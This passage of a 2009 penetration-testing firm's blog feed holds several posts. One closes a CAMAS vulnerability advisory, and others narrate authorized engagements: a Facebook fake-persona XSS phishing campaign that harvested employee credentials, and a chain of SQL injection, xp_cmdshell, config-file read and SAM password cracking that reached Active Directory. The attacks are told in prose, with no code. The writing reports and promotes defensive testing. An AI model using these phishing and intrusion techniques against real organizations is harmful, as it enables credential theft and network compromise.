class="Apple-style-span"  style="font-size:small;"&gt;If you are a Cambium Group customer then there are a few things that you can do to ensure the saftey of your website and its respective users.  The first recommendation that we have is to perform a Web Application Penetration Test against your website.  You can do this yourself in a light weight sort of way by using a scanner like &lt;a href="http://www.ntobjectives.com/"&gt;NTOspider&lt;/a&gt; or &lt;a href="http://www.spidynamics.com/"&gt;WebInspect&lt;/a&gt; (we're not affiliated with either but we'd recommend NTOspider).  Having said that, we're not too fond of relying on automated tools for security so we recommend that you hire a qualified third party to test the security of your website.  Make sure that they do manual testing, not just automated testing. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:100%;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;We also recommend that any Cambium Group customer consider installing a reverse proxy with application layer filtering capabilities.  These proxies are designed to analyze web traffic being sent from web users to your website.  If the data is normal web traffic then it is allowed to reach your website, but if it contains malicious data that matches known attack patterns then it is blocked and never reaches your website.  This prevents attackers from being able access the vulnerable components of websites that suffer from various risks.  Examples of such proxies are &lt;/span&gt;&lt;a href="http://www.modsecurity.org/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;ModSecurity&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; and &lt;/span&gt;&lt;a href="http://www.bluecoat.com/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;BlueCoat&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; (there are many others and we're not affiliated with any of them).&lt;br /&gt;&lt;br /&gt;The other way to defend against these vulnerabilities is to impliment properly designed parameterized stored proceedures and to use strong input validation and data sanitization techniques as defined by the &lt;/span&gt;&lt;a href="http://www.owasp.org/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Open Web Application Security Project&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;. This is true for for any Web Application, not just CAMAS. Never the less, in the case of CAMAS the Cambium Group would need to impliment these changes, you would probably not be able to because CAMAS is not an open source product.&lt;br /&gt;&lt;br /&gt;If you have any questions about this blog entry please do not hesitate to contact us with any of your questions or concerns.  You can either leave us a comment on the blog and we'll respond promptly, or you can &lt;a href="mailto:info@netragard.com"&gt;contact us off-line&lt;/a&gt;&lt;a href="mailto:info@netragard.com"&gt; &lt;/a&gt;and we'll keep it confidential.  Your privacy and security are our top concern.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Update: &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt; One of our readers sent us a link to &lt;/span&gt;&lt;a href="http://www.leg.state.vt.us/statutes/fullsection.cfm?Title=09&amp;amp;Chapter=062&amp;amp;Section=02435"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;The Vermont Statutes Online, Title: 9 Commerce and Trade Chapter: 62 Protection of Personal Information 2435. Notice of security breaches.&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;  If you are a CAMAS customer then it is our understanding that you should have received notification of these risks based on the aforementioned statute. &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1818284401919870556?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.netragard.com/pdfs/research/NETRAGARD-20070820-CAMBIUM.txt' title='Cambium Group, LLC. CAMAS Advisory'/><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1818284401919870556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/02/cambium-group-llc-camas-advisory.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1818284401919870556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1818284401919870556'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/02/cambium-group-llc-camas-advisory.html' title='Cambium Group, LLC. CAMAS Advisory'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_EB6c20kYC_c/Sab33FWDJdI/AAAAAAAAABc/SfkOnFKG3GM/s72-c/cambium_screenshot.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-6433964801542040209</id><published>2009-02-12T08:21:00.000-08:00</published><updated>2011-03-06T22:21:18.224-08:00</updated><title type='text'>Netragard : Facebook from the hackers perspective.</title><content type='html'>&lt;div&gt;For the past few years we've (&lt;a href="http://www.netragard.com/"&gt;Netragard&lt;/a&gt;) been using internet based Social Networking tools to hack into our customer's IT Infrastructures. This method of attack has been used by hackers since the conception of Social Networking Websites, but only recently has it caught the attention of the media. As a result of this new exposure we've decided to give people a rare glimpse into Facebook from a hackers perspective.  Credit for designing this specific attack methodology goes to Kevin Finisterre and Josh Valentine both core members of our team. &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lets start off by talking about the internet and identity. The internet is a shapeless world where identities are not only dynamic but can't ever be verified with certainty. As a result, its easily possible to be one person one moment, then another person the next moment. This is particularly true when using internet based social networking sites like Facebook (and the rest).&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_EB6c20kYC_c/SZWH5RchrdI/AAAAAAAAABM/0m0LlcqyT2M/s1600-h/idog.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 358px; height: 400px;" src="http://2.bp.blogspot.com/_EB6c20kYC_c/SZWH5RchrdI/AAAAAAAAABM/0m0LlcqyT2M/s400/idog.jpg" alt="" id="BLOGGER_PHOTO_ID_5302293554303970770" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:78%;"&gt;Image provided by Michael Painter&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Humans have a natural tendency to trust each other. If one human being can provide another human with "something sufficient" then trust is earned. That "something sufficient" can be a face to face meeting but it doesn't always need to be. Roughly 90% of the people that we've targeted and successfully exploited during our social attacks trusted us because they thought we worked for the same company as them. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The setup...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Facebook allows its users to search for other users by keyword. Many facebook users include their place of employment in their profile. Some companies even have facebook groups that only employees or contractors are allowed to become members of. So step one is to perform reconnaissance against those facebook using employees. This can be done with facebook, or with reconnaissance tools like Maltego and pipl.com. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Reconnaissance is the military term for the collection of intelligence about an enemy prior to attacking the enemy. With regards to hacking, reconnaissance can be performed against social targets (facebook, myspace, etc) and technology targets (servers, firewalls, routers, etc). Because our preferred method of attacking employees through facebook is via phishing we normally perform reconnaissance against both vectors. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;When setting up for the ideal attack two things are nice to have but only one is required. The first is the discovery of some sort of Cross-site Scripting vulnerability (or something else useful) in our customers website (or one of their servers). The vulnerability is the component that is not required, but is a nice to have (we can set up our own fake server if we need to). The second component is the required component, and that is the discovery of facebook profiles for employees that work for our customer (other social networking sites work just as well).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In one of our recent engagements we performed detailed social and technical reconnaissance. The social reconnaissance enabled us to identify 1402 employees 906 of which used facebook. We didn't read all 906 profiles but we did read around 200 which gave us sufficient information to create a fake employee profile. The technical reconnaissance identified various vulnerabilities one of which was the Cross-site Scripting vulnerability that we usually hope to find. In this case the vulnerability existed in our customer's corporate website. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Cross-site scripting ("XSS") is a kind of computer security vulnerability that is most frequently discovered in websites that do not have sufficient input validation or data validation capabilities. XSS vulnerabilities allow an attacker to inject code into a website that is viewed by other users. This injection can be done sever side by saving the injected code on the server (in a forum, blog, etc) or it can be done client side by injecting the code into a specially crafted URL that can be delivered to a victim. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;During our recent engagement we used a client side attack as opposed to a server side attack . We chose the client side attack because it enabled us to select only the users that we are interested in attacking. Server side attacks are not as surgical and usually affect any user who views the compromised server page. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The payload that we created was designed to render a legitimate looking https secured web page that appeared to be a component of our customer's web site. When a victim clicks on the specially crafted link the payload is executed and the fake web page is rendered. In this case our fake web page was an alert that warned users that their accounts may have been compromised and that they should verify their credentials by entering them into the form provided. When the users credentials are entered the form submitted them to http://www.netragard.com and were extracted by an automated tool that we created. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After the payload was created and tested we started the process of building an easy to trust facebook profile. Because most of the targeted employees were male between the ages of 20 and 40 we decided that it would be best to become a very attractive 28 year old female. We found a fitting photograph by searching google images and used that photograph for our fake Facebook profile. We also populated the profile with information about our experiences at work by using combined stories that we collected from real employee facebook profiles. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Upon completion we joined our customer's facebook group. Joining wasn't an issue and our request was approved in a matter of hours. Within twenty minutes of being accepted as group members, legitimate customer employees began requesting our friendship. In addition to inbound requests we made hundreds of outbound requests. Our friends list grew very quickly and included managers, executives, secretaries, interns, and even contractors. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After having collected a few hundred friends, we began chatting. Our conversations were based on work related issues that we were able to collect from legitimate employee profiles.  After a period of three days of conversing and sharing links, we posted our specially crafted link to our facebook profile. The title of the link was "Omigawd have you seen this I think we got hacked!" Sure enough, people started clicking on the link and verifying their credentials. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ironically, the first set of credentials that we got belonged to the person that hired us in the first place.  We used those credentials to access the web-vpn which in turn gave us access to the network. As it turns out those credentials also allowed us to access the majority of systems on the network including the Active Directory server, the mainframe, pump control systems, the checkpoint firewall console, etc. It was game over, the Facebook hack worked yet again. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;During testing we did evaluate the customer's entire infrastructure, but the results of the evaluation have been left out of this post for clarity. We also provided our customer with a solution that was unique to them to counter the Social Network threat. They've since implemented the solution and have reported on 4 other social penetration attempts since early 2008. The threat that Social Networks bring to the table affects every business and the described method of attack has an extraordinarily high success rate. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-6433964801542040209?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/6433964801542040209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/02/facebook-from-hackers-perspective.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/6433964801542040209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/6433964801542040209'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/02/facebook-from-hackers-perspective.html' title='Netragard : Facebook from the hackers perspective.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_EB6c20kYC_c/SZWH5RchrdI/AAAAAAAAABM/0m0LlcqyT2M/s72-c/idog.jpg' height='72' width='72'/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3586737122048575604</id><published>2009-02-09T09:51:00.000-08:00</published><updated>2009-02-09T10:32:12.141-08:00</updated><title type='text'>They will protect my data (won't they?)</title><content type='html'>&lt;div&gt;So the other day I was talking with my buddy Kevin Finisterre.  One of the things that we were discussing was people who just don't feel that security is an important aspect of their business because their customers don't ask for it.  That always makes my brain scream "WHAT!?". Here's a direct quote from a security technology vendor "We don't perform regular penetration tests because our customers don't ask us to do that."&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Isn't it the service provider's/vendor's responsibility to properly manage and maintain the security of their infrastructure?  Don't they have an ethical obligation to their customers to protect the service that they are offering and any information that the customers decide to store on their systems?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The real question is, how many customers would they lose if the customers heard them say that? That is after all just like saying "We don't care about security because our customers aren't asking us to care about it."  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So who have I heard this from? Here's the (very) short list:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Vendors that make security software (like email gateways, anti-virus technology, Intrusion Prevention Systems, etc).&lt;/li&gt;&lt;li&gt;Vendors that make technology that is used to control our Nuclear Power Plants, Water Purification Plants, Traffic Control Systems, etc.&lt;/li&gt;&lt;li&gt;Vendors that sell business enabling technologies like PHP based Content Management Systems, Commercial Web Servers, Server based applications, Web Applications, etc.&lt;/li&gt;&lt;li&gt;Vendors that sell desktop applications like Financial Tracking Systems, Invoicing Systems, File Sharing Systems, Backup Solutions, etc.&lt;/li&gt;&lt;li&gt;I've also heard this from MAJOR Service Providers such as Web Hosting Providers, Email Providers, Backup Service Providers, etc.&lt;/li&gt;&lt;li&gt;The list goes on....&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;I think that people need a wake up call.  This strikes me as a serious ethical issue, what about you? Leave me a comment I'm very interested in feedback on this one. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3586737122048575604?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3586737122048575604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/02/they-will-protect-my-data-wont-they.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3586737122048575604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3586737122048575604'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/02/they-will-protect-my-data-wont-they.html' title='They will protect my data (won&apos;t they?)'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-363910777181871252</id><published>2009-01-20T14:21:00.000-08:00</published><updated>2009-01-21T06:41:55.767-08:00</updated><title type='text'>A Quality Penetration Test</title><content type='html'>Someone on the pen-testing mailing list asked me to write an entry about the difference between vulnerability scanning (and services that rely on it) and Real Time Dynamic Testing™.  This entry is a sanitized description of a real Advanced External Penetration Test that our team delivered to a customer.  Many details were left out and our customer’s information was removed or augmented to protect their identity.  Our customer did approve this entry.&lt;br /&gt;&lt;br /&gt;Our team (&lt;a href="http://www.netragard.com"&gt;Netragard, LLC.&lt;/a&gt;) was hired to perform an Advanced External Penetration Test as a follow-up engagement to a pen-test that was delivered by a different vendor.  This might seem unusual, but we get these types of engagements more and more frequently.  This test was no different than most of them, and we found significant exploitable vulnerabilities that the other vendor missed entirely, which unfortunately seems all too common.&lt;br /&gt;&lt;br /&gt;When we deliver Advanced services we expose our customers to specific type of threat. Our goal is to create a threat that is a few levels higher than what they would likely face in the real world.  Testing our customers at a threat level that is less than that would do nothing to help them defend against the actual threat. Our services are not the product of automated vulnerability scanners and scripts; they are the product of human talent.&lt;br /&gt;&lt;br /&gt;During this particular engagement we were authorized to perform Distributed Metastasis, Covert Testing, Social Engineering, Malware Deployment, ARP Poisoning, etc.  All targets were also authorized and included Web Servers that were hosted by third parties, Web Servers that were hosted locally, VPN end points, FTP servers, IDS systems, DNS servers, Secure Email Servers like tumbleweed and so on. We were not given a list of IP addresses to target, we had to identify them and request approval.&lt;br /&gt;&lt;br /&gt;We began the engagement by performing covert social and technical reconnaissance.  Reconnaissance is the military term for the collection of intelligence about an enemy prior to attacking the enemy; in this case our customer was the “enemy”. Our philosophy is that we cannot produce an accurate threat level without first understanding some details about our target’s political structure, social behavior, and technology infrastructure.  We might not use all of the information that we collect while testing, but more times than not it provides us with a good idea of what will be effective, and what will not.&lt;br /&gt;&lt;br /&gt;During reconnaissance we focused on two separate target groups.  The first target group was the social structure of the client’s employees that we felt was of interest. As such we collected information about those employees that included office-location, telephone extensions, email address, relationships to other employees, friends outside of work, etc. Our secondary sets of targets for reconnaissance were technical targets. Those targets included the identification of servers used by the client, vendor identification, partner identification, the identification of IP addresses belonging to the client, the internal IP addressing scheme, operating system information, patch frequency information, etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We were able to use the information collected during reconnaissance to begin performing vulnerability identification through analysis.  Because this service was an advanced service and required covert testing, vulnerability identification was mostly done with manual testing (Real Time Dynamic Testing™) and during reconnaissance. As testing progressed we increased our noise level until we received notification from the customer that we’d been detected.  This enabled us to identify what level of testing was considered “flying below the radar” and what level was “tagged”.  (Knowing this enables us to help our customers retune their IDS technologies so that they are more difficult to evade. In most cases IDS technologies are not tuned properly, and yes this includes IPS and Correlation Systems too.)&lt;br /&gt;&lt;br /&gt;Once we were finished with vulnerability identification we built a target matrix that was organized by probability of penetration.  This matrix is used as a guide for the team and enables us to test the most probable points of entry first, and the least probable points of entry last.  In the case of this particular customer we identified three probable points of entry along with a few other basic vulnerabilities like Cross-site Scripting, etc.  (While Cross-site Scripting is useful for performing Social Engineering based attacks, we won’t go into the details about how we used them here.)  The other vendor even with basic scanning services should have detected most, if not all of these vulnerabilities, but they didn’t.&lt;br /&gt;&lt;br /&gt;The first point of attack that we focused on was the customer’s corporate website.  This website was being hosted by a third party and was using a Content Management System (“CMS”) that was created by vendor that we’ll call the Noname Group.  This particular CMS was written entirely in PHP, was closed source and had no security functionality to speak of. There were multiple points were unchecked variables were passed directly to SQL statements or other critical internal application components.  We were able to use those unchecked variables to penetrate into our Customer’s Web Server and take control of it.&lt;br /&gt;&lt;br /&gt;Upon accessing that web server we found customer data that was stored in the database in clear text. This information contained names, addresses, account numbers, social security numbers, etc.  In some cases the information was from users requesting information, in other cases it was users looking to sign up.  As a proof of concept we wrote a ruby script that would automatically dump the contents of the database when executed. That script was submitted to the customer.  Because this server was not hosted within our Customer’s IT Infrastructure it did not provide us with a platform from which we could perform Distributed Metastasis.&lt;br /&gt;&lt;br /&gt;The next target lined up for testing was another Web Application, this time it was hosted from within our customer’s infrastructure.  Again, the application suffered from a basic SQL Injection vulnerability that could be triggered by a back-tick.  We used the vulnerability to fingerprint the application’s backend database and learned that it was a MS-SQL database. We also learned that was hosted on a separate server from the Web Server.  We then tested for “xp_cmdshell” access and found that the “sa” user had no password set and as a result we could execute arbitrary commands against the database server with administrator privileges.&lt;br /&gt;&lt;br /&gt;Once we gained control over the database server we began to examine other systems within proximity to our new point of control (Distributed Metastasis). That was when we learned that we’d compromised a key server that was deep within the customers IT Infrastructure and had clear access to other critical systems.  We also noticed that the server that we were controlling contained multiple databases that contained a wide variety of highly sensitive information including customer banking information, social security numbers, etc.  In addition, while performing network probes we identified a secondary database server. Ironically this second database server was running on the web server with the SQL Injection vulnerability that we’d just attacked.&lt;br /&gt;&lt;br /&gt;When we tried to connect to the second database server from the internal server we were unable to access it because this time the “sa” password was set and we didn’t know what it was set to.  We did however know which system accessed that database server as a result of the Social Engineering efforts that were mixed into our Social Reconnaissance.  The system with access was also the third system in our targeting matrix and contained another vulnerable Web Application.  This time, due to the configuration of the application SQL Injection capabilities were limited.  We did however manage to find an arbitrary file read vulnerability and were able to use it to read the application’s configuration file that contained the “sa” password.&lt;br /&gt;&lt;br /&gt;This enabled us to go back to the previously inaccessible database and access it using the sa password. This also gave us access to the xp_cmdshell function that in turn allowed us to execute arbitrary commands against the system.  At this point in the test we’d managed to penetrate into both the DMZ and the corporate LAN which also allowed us to connect to any other system within proximity without issue. In other words, there was no internal segmentation in the form of VLAN’s or physical isolation.  The networks were flat.&lt;br /&gt;&lt;br /&gt;The server that we penetrated in the LAN contained a SAM file. We were able to crack 90% of the passwords in that SAM file with rainbow tables, including the Administrator password.  Once we had that password we were able to use RDP to access the Active Directory server and it was technically game over.  If we had not discovered the SAM we were prepared to perform ARP Poisoning to collect data and possibly in-transit credentials. Our penetration of the AD server concluded the penetration test.&lt;br /&gt;&lt;br /&gt;It is important to note that this is not a complete description of all of the testing that we did for the customer. As with any engagement we produce a deliverable that outlines all discovered points of risk with their respective methods for remediation. In this particular case our report identified 47 risks and provided 47 methods for remediation.  Remember that this customer just completed a penetration test from a different vendor, how is it that they missed 47 risks? Their services certainly did not protect our customer from hackers.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-363910777181871252?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/363910777181871252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/01/quality-penetration-test.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/363910777181871252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/363910777181871252'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/01/quality-penetration-test.html' title='A Quality Penetration Test'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1635195056719655971</id><published>2009-01-07T07:29:00.001-08:00</published><updated>2009-01-08T13:04:51.979-08:00</updated><title type='text'>Network Vulnerability Scanning Doesn't Protect You</title><content type='html'>Vulnerability scanning can have a detrimental negative impact on the security posture of your IT infrastructure if used improperly.  This negative impact is due to a perceptional issue that has been driven by the vendors who sell vulnerability scanning services or the vulnerability scanners themselves. The hard facts prove that vulnerability scanners can not protect your IT Infrastructure from malicious hackers. (My team penetrates "scanned" networks on a regular basis during customer engagements).  That is not to say that vulnerability scanners are useless, but it is to say that people need to readjust their perception of what vulnerability scanning really is. &lt;br /&gt;&lt;br /&gt;While there are various types of vulnerability scanners they suffer from the same disease that most security technologies suffer from. That disease is that they are reactive to hackers and will never be proactive. The fact is that vulnerability scanners can not detect vulnerabilities unless someone has first identified the vulnerability and created a signature for its detection. This process can take quite a while and is often not an ethical one. So here is how it works...&lt;br /&gt;&lt;br /&gt;A hacker decides to perform research against a common technology like your firewall.  That hacker might spend minutes, months or even years doing research just for the purpose of identifying an exploitable security vulnerability.  Once that vulnerability is identified the hacker has an ethics based decision to make.  Does he notify the vendor of his discovery and release a formal advisory or does he use his discovery to hack networks, steal information and profit.&lt;br /&gt;&lt;br /&gt;If the hacker decides to notify the vendor and release an advisory then there is usually a wait period of 1-3 months before the vendor releases a patch. This lag time means that the vendor's customers will remain vulnerable for at least another 1-3 months, most probably longer. What's even more interesting is that this vulnerability may have been discovered previously by a different researcher that didn't notify the vendor. If that's the case then that probably means that the vulnerability has been in use as a tool to break into networks for a while.  Who knows, it could have been discovered months or even years ago? That type of unpublished vulnerability is known as a 0day and is the favorite weapon of the malicious hacker.&lt;br /&gt;&lt;br /&gt;At some point the vulnerability does become public knowledge. Its also at this point that the vendors who make the vulnerability scanning technology become aware of the new risk. When they do learn about the new risk they need to develop a signature, or script for their scanning technology so that it can detect the risk. That development process can take anywhere from a few days to a few weeks depending on the complexity risk.  As a result, the customers that rely on vulnerability scanning are in the dark until the vendor can publish a working and tested signature... but the hackers don't need to wait at all.  The hackers can use it almost immediately.&lt;br /&gt;&lt;br /&gt;So in summary, there is a large risk window between the point of discovery of a vulnerability and the point at which a vulnerability scanner can detect the vulnerability.  This risk and exposure window is usually never smaller than a few months, and can be as large as several years. During that time there is a very good chance that malicious hackers will be using your undiscovered risks to penetrate into your infrastructures.  Whats worse is that you'll have no idea that you've been hacked because like vulnerability scanning technology, Intrusion Detection technology also can't identify threats if it doesn't know what to look for. Moreover most Intrusion Detection technologies aren't configured properly and as such don't work properly.&lt;br /&gt;&lt;br /&gt;Unfortunately the story doesn't end there.  Vulnerability scanners also suffer from significant issues with accuracy.  In all cases where I've used (various) vulnerability scanners, the best results that I've ever achieved were  about 30% accurate.  This means that most of the vulnerabilities that were detected during my various scans weren't actually vulnerabilities but instead were false alarms, also called false positives. More frightening is the number of vulnerabilities that I discovered while performing Real Time Dynamic Testing (manual hacking) that were entirely missed by the vulnerability scanner. If you don't believe me then go download a free vulnerability scanner, test your network and verify the results yourself.&lt;br /&gt;&lt;br /&gt;This inaccuracy is partially due to the architecture of the vulnerability scanners and the fact that no two networks are alike.  Vulnerability scanners use static signatures or scripts that are only capable of checking a target for a vulnerability if their syntax is exactly accurate and if the target responds in a way that the scanner can understand. If however the target, lets say its a computer system, is configured in a custom way then it may not respond in a way that the scanner will understand (how many of you keep the default configuration?).  This communication barrier is a large part of what causes false positives and false negatives.&lt;br /&gt;&lt;br /&gt;An important note about false positives and false negatives.  Some vendors claim that their vulnerability scanners have low rates of false positives.  As with Intrusion Detection, if low false positive rates are true then its usually reasonable to say that the technology has high rates of false negatives.  You can think of it as a sliding scale of 1 to 10 where 1 is 100% False Positives and 10 is 100% False Negatives.  As you move up and down the scale you inevitably end up with more of one or the other, you can never eliminate them.  With that said, its my opinion that more false positives are better than more false negatives.&lt;br /&gt;&lt;br /&gt;If vulnerability scanners aren't the right way to protect yourself then what is?  You should protect yourself by exposing your business to an accurate and controlled reproduction of the threat by using a quality security provider.  It is important to remember that no single hacker, good or bad, has access to all of the 0-day's in the world.  As such, it is entirely possible for a team of ethical hackers to accurately reproduce the threat that unethical hackers can create.  Testing at that level enables you to identify weaknesses in your defenses that would not otherwise be detected by testing at lesser levels.  What good would a penetration test or a vulnerability assessment do if the malicious hackers will test you harder?&lt;br /&gt;&lt;br /&gt;One of the many advantages of using a team of talented hackers for security testing instead of relying on automated vulnerability scanners is that those hackers can and should perform research against unique technologies that they encounter during a security test.  I practice what I preach by the way.  When our team delivers an Advanced Penetration Test to a customer we always perform our own research against interesting targets. Those targets can be Web Applications, Web Services, or even custom daemons running on systems.  In the end, if we find something new we'll write an exploit (proof of concept) for the customer and include that in the final deliverable. &lt;br /&gt;&lt;br /&gt;In closing, I am not suggesting that network vulnerability scanners are bad because they do have their place and they do serve a purpose.  They are particularly useful in the hands of a skilled security expert especially when performing reconnaissance against large networks. In that scenario the scanner enables the expert to save time and to rapidly collect intelligence about targets given that the engagement is non-stealth in nature.  With that said, I wouldn't rely on scanners for anything more than just reconnaissance, at least not yet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: &lt;span style="font-size:78%;"&gt;(Thank you to &lt;a href="http://www.blogger.com/profile/01810278229867885160"&gt;minoo&lt;/a&gt; for pointing out a few mistakes in my previous revision of this entry. I hope that this entry is as clear as I 